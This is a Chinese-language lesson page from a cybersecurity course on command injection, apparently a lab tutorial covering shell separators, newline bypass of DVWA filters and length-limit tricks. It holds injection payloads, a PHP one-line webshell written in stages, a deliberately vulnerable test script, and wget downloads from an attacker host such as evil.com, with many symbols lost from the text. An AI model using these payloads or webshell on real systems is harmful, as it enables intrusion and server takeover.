首页/新闻资讯/正文详情

【八个月网安课程】第十三周·周五:命令拼接符号、管道符与长度限制绕过

发布时间:2026/11/7 7:38:27 来源:云帆数科 栏目:资讯中心
【八个月网安课程】第十三周·周五:命令拼接符号、管道符与长度限制绕过
在掌握了命令执行函数后今天将聚焦于如何突破命令字符串本身的限制当分隔符被过滤时如何用其他符号替代当命令长度受限时如何通过精巧的构造在极短空间内实现完整攻击。这是命令注入从理论走向实战的关键一步也是绕过各种 WAF 和自定义过滤器的基础功。第十三周·周五命令拼接符号、管道符与长度限制绕过 今日学习目标达成效果能熟练使用至少 6 种命令分隔符、、|、||、;、%0a在注入点追加命令并理解每个符号的执行逻辑差异能在符号被过滤的情况下通过编码绕过、用%0a换行符替代分号、利用管道符传输数据等方法继续执行命令能在面对长度限制如只允许输入 10 个字符时使用短命令技巧如ls、wget、文件重定向、命令拆分写入等方法实现 Webshell 落地能在 DVWA 中高难度或自建靶场中应对过滤了、;的防御使用|、||或换行符完成注入能总结通用绕过思路先判断允许的字符再选用最短且能达意的 payload必要时分段执行或借助文件写入。 一、命令拼接符号的执行逻辑与绕过选择Linux Shell 提供了多种将多个命令串联或并联的方式它们在执行逻辑上有细微差别这决定了在特定场景下哪个能用、哪个会被过滤。符号示例执行逻辑注入利用要点;cmd1 ; cmd2顺序执行无论 cmd1 成功与否cmd2 都执行最常用但常被简单过滤cmd1 cmd2仅当 cmd1成功返回码 0时才执行 cmd2需要 cmd1 成功可先放行合法命令cmd1 cmd2cmd1 后台运行同时 cmd2 立即执行不依赖 cmd1 成功输出可能交错cmd1cmd2cmd1%0a(换行)cmd1%0acmd2在 HTTP 参数中等同于新起一行Shell 会顺序执行最强大的绕过通常不被普通过滤覆盖%0d%0a(回车换行)类似换行Windows 下常用有时需配合选择策略若;被过滤尝试|、、||。若所有常规符号被过滤尝试%0a换行在 POST 请求体中或在 URL 中编码为%0a。在 Windows 靶场中%0a同样有效此外和可用。实战笔记在 Burp Repeater 中可以直接在参数值后插入换行符按回车观察响应。若成功说明服务器将参数直接传入 shell 且未过滤换行。 二、管道符|的巧妙利用|原本用于连接两个命令将前者的输出传给后者。在命令注入中即使第二个命令不需要输入它也能执行。例如127.0.0.1|whoamiping的输出会传给whoami但whoami忽略输入直接输出当前用户名。页面将显示www-data或相应用户。更高级的利用如果我们需要执行的命令需要参数且整个 payload 长度受限可以用管道将前一个命令的输出作为后一个命令的参数。比如echowhoami|shecho输出whoami管道后sh读取该字符串作为命令执行。这可以在某些长度受限或无法直接写命令的场景下使用。防御绕过有些过滤器可能只检测;、、||而忽略了|这使得|成为最容易绕过的一种方式。DVWA Medium 级别正是如此——只替换了和;|和仍可用。 三、长度限制绕过在区区几个字节内种下后门很多命令注入点对输入长度有严格限制如仅允许 10 个字符。此时直接的whoami可能都超长更不用说echo ?php ... shell.php这种几十字节的 payload。如何突破1. 使用极短命令ls、id等系统命令本身就短。wget短 URL 下载文件wget -O a 攻击者IP/a可以下载远程脚本并执行。curl类似但wget一般更短。2. 利用重定向创建文件覆盖写入文件追加写入。如果一次只能输入很少字符可以多次注入每次追加一部分内容最终拼接成完整的木马文件。例如将?php eval($_POST[1]);?分段写入echo?phps.phpecho evals.phpecho($_POSTs.phpecho[1]);s.phpecho?s.php虽然这里每条仍较长但可以进一步缩短甚至利用系统命令如lss.php输入文件名列表配合特定文件名组成 PHP 代码高难度技巧。3. 利用环境变量或文件内容如果服务器上存在某些包含字母的文件如/etc/hostname可以通过读取该文件的一部分来拼凑命令。使用*通配符、?匹配。例如cat /???/?????可以匹配/etc/passwd如果路径唯一。4. 经典示例7 个字符写入?php system($_GET[1]);?Wargame 常见使用wget短域名或利用ls、分段写入。但今天无需完全掌握该技巧重点是知道长度不是不可逾越的障碍。实战简化版假设目标长度限制为 30 字符我们要写入?短标签的一句话echo ?ls;?a.php长度大约 20 字符可在限制内。若echo被禁可用printf等替代。✍️ 四、动手实践一DVWA Command Injection 高级绕过环境DVWA 安全等级设为 High或 Medium。1. Medium 级别使用|绕过Medium 过滤了和;我们之前已试过|和。今天再次验证输入127.0.0.1 | whoami页面返回www-data成功。输入127.0.0.1 | ls -la可列出目录文件。2. High 级别换行符绕过DVWA High 的源码使用黑名单过滤了、;、|、-、$、(、)、、||等多个符号。但未过滤换行符。在 Burp 拦截请求将 POST 参数ip的值改为127.0.0.1%0awhoami注意在 POST Body 中直接输入127.0.0.1后按下回车键然后输入whoamiBurp 会自动生成换行符。但需确保 URL 编码正确。更可靠的是直接在值中使用%0a。放行后页面输出 ping 结果和www-data绕过成功。若%0a被过滤尝试%0d%0a或使用\n。记录这种绕过证明了黑名单无论多全只要遗漏一个分隔符防线就可能被突破。✍️ 五、动手实践二长度限制绕过的模拟实验1. 搭建限制长度命令注入靶场创建length_limit.php?phpif(isset($_GET[cmd])){$cmd$_GET[cmd];if(strlen($cmd)15){die(命令长度不能超过 15 字符);}system($cmd);}else{echo提交 ?cmd;}?假设现在你需要在这个短小的执行环境中获得可操作的 Webshell。2. 突破思路与测试直接ls查看目录3 字符有效。ls -la共 5 字符可看详细列表。id查看权限2 字符。现在写一句话木马需要?php eval($_POST[1]);?加上echo ... shell.php总长度远超 15。如何做技巧使用wget从远程下载wget 攻击机IP/shell.phpwget下载的文件默认保存为原文件名长度可能超过 15wget本身 4 字符IP 地址可能较长如192.168.1.100/s.txt长度可能超过 15。可用短域名服务或短 IP内网可能直接使用短 IP。如果无法缩短则改用多步写入。分段追加写入由于长度限制每次只能写入 15 字符可以通过多次请求逐步构建文件。第一次echo ?phpa(注意长度)第二次echo evala第三次echo ($_POSTa… 但这依然需要很多次且echo命令本身占 4 字符可写入的内容较少。更高效的方法是写入一个下载脚本printf wget u.r b然后执行sh b下载远程完整木马。printf可以精确输出字符串比echo更灵活。实际上真正的短长度绕过在 CTF 中通常不超过 5 字符需要极巧妙的技巧。今天你只需理解通过多次请求拼凑文件的思想并能在实战中想到“如果长度不够可以用 wget 或分段写入”。思考如果目标限制在 10 字符以内且不允许出网如何写入?可以使用lsa结合精心构造的文件名文件名就是代码片段但这属于极限环境仅作了解。 六、课后测试题与解析测试题 1当;和都被过滤时请写出另外三种可以分隔命令的符号并说明其中一种的具体利用 payload。参考答案可使用的符号|、||、、%0a换行符。利用示例使用|原始请求ip127.0.0.1|whoamiWeb 应用执行ping -c 4 127.0.0.1 | whoami页面将显示whoami的结果。测试题 2如果命令注入点的输入长度被限制为 20 个字符如何在上传目录写入一个可执行的 PHP 一句话木马简述你的思路。参考答案可以采用多步操作使用wget从远程服务器下载完整木马文件如果目标允许出网wget http://evil.com/s长度可能超过 20 时使用短域名或 IP 的十进制表示缩短长度若无法出网则采用分段写入。分段写入通过多次注入每次向一个文件追加一小段代码。例如第一次echo ?phpa第二次echo evala第三次echo ($_POSTa……直到拼出完整的?php eval($_POST[1]);?最后将文件重命名为.php后缀。如果系统支持printf或其他命令可构造更短的写入语句。关键是利用多次请求积攒代码。✅ 今日学习效果自检清单我能默写出至少 5 种命令分隔符并说清它们的作用我在 DVWA 中分别用|、||、换行符成功绕过了不同级别的过滤我理解了管道符|不只能连接命令还能传递数据我亲手搭建了长度限制靶场并尝试了分段写入或短命令绕过我明白了 WAF 黑名单的脆弱性以及换行符绕过的隐蔽性我知道在极端长度限制下可以先下载远程脚本或分段构建文件⚠️ 阶段避坑重点换行符的编码在 GET 请求中%0a必须放在 URL 参数中且某些 WAF 会对其进行拦截。可尝试%0d%0a或 Unicode 编码。长度计算要精确在构造分段 payload 时务必在测试环境中先计算每个命令的准确长度避免因空格、引号等字符超出限制。管道符|执行时前一个命令的输出可能干扰结果例如ping | whoamiping 的输出会作为标准输入传给 whoami虽然 whoami 不处理如果 whoami 是过滤后的命令可能无影响。但有些命令会因输入而产生非预期行为。最好使用;或避免数据干扰。分段写入时注意文件权限和目录确保目标目录可写且分段追加过程中不被其他进程或用户清理。不要忘记清理痕迹实验结束后删除写入的测试文件。今天你学会了在命令注入受限条件下的变通艺术。明天我们将综合本周所学进行一次命令注入的综合实战融合符号绕过、长度限制、无回显外带等多种技巧完成从探测到获取系统权限的全流程。请保留你今天的测试环境和记录明天继续征服更复杂的场景。

相关推荐

基于 LSTM 的车载 CAN 总线入侵检测:从 125 万条真实数据的“毒打”到工程化落地
基于 LSTM 的车载 CAN 总线入侵检测:从 125 万条真实数据的“毒打”到工程化落地

一、项目背景与真实数据的挑战 智能网联汽车里,CAN 总线是连接各个 ECU 的核心网络。不过 CAN 总线在设计之初极度缺乏安全认证与加密机制,很容易遭到黑客的 DoS、重放、模糊测试等攻击。 这个项目主要是利用深度学习(LSTM)的时序… · 2026/11/5 0:44:33

UPC和APC光纤接口的区别与对比
UPC和APC光纤接口的区别与对比

✅ UPC和APC光面原理示意图(反射光路对比)UPC:0 球面抛光,反射光原路返回光纤芯;APC:8 斜角抛光,反射光偏折进包层消散,回波损耗更低。✅ 插芯端面侧视对比直观看到:PC 偏… · 2026/11/6 22:42:34

codex中文汉化插件解决不能显示中文的方法-亲测有效(国内网络)
codex中文汉化插件解决不能显示中文的方法-亲测有效(国内网络)

1、关闭退出codex(右下角托盘也要退出)2、运行【Codex汉化补丁-微智启.exe】2、之后会弹出命令提示符,运行脚本3、重新打开,就是中文界面啦 · 2026/11/6 21:22:15

东莞电工证爬杆考试保姆级教程:外省证能不能转?实操真题全解析
东莞电工证爬杆考试保姆级教程:外省证能不能转?实操真题全解析

东莞电工证爬杆考试保姆级教程:外省证能不能转?实操真题全解析 之前考的证在外省能不能转过来?这是很多老电工最头疼的问题。尤其是在东莞这类外来务工人员聚集的城市,很多人都是从其他省份过来的,手里拿着老家的电工证,却因为不了解政策,白白浪费了时… · 2026/11/7 15:29:33

井下电工证啥样在哪考?新手实操怕挂科怎么办
井下电工证啥样在哪考?新手实操怕挂科怎么办

井下电工证啥样在哪考?新手实操怕挂科怎么办 实操考试心里没底怕挂科,这是很多初次报考井下电工证的朋友最真实的状态。你可能已经刷了几天题库,但一到现场,手忙脚乱、不知所措,担心自己操作不当被扣分甚至挂科。别慌,这篇文章会告诉你井下电工证啥样,… · 2026/11/7 15:29:33

京山电工证在哪里考网上查询最新政策怎么考过
京山电工证在哪里考网上查询最新政策怎么考过

京山电工证在哪里考网上查询最新政策怎么考过 实操考试心里没底怕挂科,这几乎是每个准备考电工证的朋友心头的疙瘩。尤其是对洛阳地区的中小施工企业负责人来说,电工证不仅是上岗的“通行证”,更是企业合规经营的“生命线”。但很多人不知道的是,… · 2026/11/7 15:29:33

考中级电工证学啥课程报考条件与考试时间
考中级电工证学啥课程报考条件与考试时间

证书过期了不知道怎么复审延期?中级电工证在哪考学啥课程全解析 证书过期了不知道怎么复审延期?别慌,今天我就从郑州金水区一位公路工程从业者的角度,带你一步步搞懂【考中级电工证学啥课程】,以及在哪里考、怎么报、怎么准备,甚至复审流程全搞定。… · 2026/11/7 15:29:33

工地太忙根本没时间复习考试?低压电工证无等级报名攻略全在这
工地太忙根本没时间复习考试?低压电工证无等级报名攻略全在这

工地太忙根本没时间复习考试?低压电工证无等级报名攻略全在这 工地上的日子,每天都在和时间赛跑,早上天还没亮就出门,晚上星星都出来了才回宿舍。 低压电工证无等级 的报考和考试安排,成了很多一线电工最头疼的问题。 官方报名入口… · 2026/11/7 15:29:33

如何查电工证有复审证怎么转异地
如何查电工证有复审证怎么转异地

电工证复审怎么查?值不值得考?别怕交了培训费白费 怕考不过白交培训费?现在网上到处是“电工证考试包过”“电工证怎么考”“电工证怎么查复审”,但真正懂行的人才明白,考个电工证远不止是花钱那么简单, 值不值得考… · 2026/11/7 15:28:32

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 11:25:08

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 12:02:18

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 10:29:23

澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄?
澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄?

澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄? 证书过期了不知道怎么复审延期?别慌,很多人在拿到【澳洲水电工证考试】的电子证书后,一不小心就忽略了复审时间,结果证书失效,工作受阻,甚至被单位追责。今天就从【澳洲水电工证考试… · 2026/11/7 0:00:41

电工作业提示版通过率揭秘:怎么考才能一次过?
电工作业提示版通过率揭秘:怎么考才能一次过?

电工作业提示版通过率揭秘:怎么考才能一次过? 怕考不过白交培训费?别急,今天我就从驻马店应届工程类毕业生的视角,带你全面了解电工作业提示版的考试流程、备考要点和真实通过率,帮你少走弯路、提高一次通过率。… · 2026/11/7 0:00:41

电工证年审报名千万别踩坑 外省证转过来要搞清这几点
电工证年审报名千万别踩坑 外省证转过来要搞清这几点

电工证年审报名千万别踩坑 外省证转过来要搞清这几点 之前考的证在外省能不能转过来?这个问题是很多电工从业者最关心的,特别是像你这样在商丘从事公路工程的人员,经常需要跨省流动,证书的 有效性 和 可迁移性… · 2026/11/7 0:00:41

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 11:25:08

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 12:02:18

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 10:29:23

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码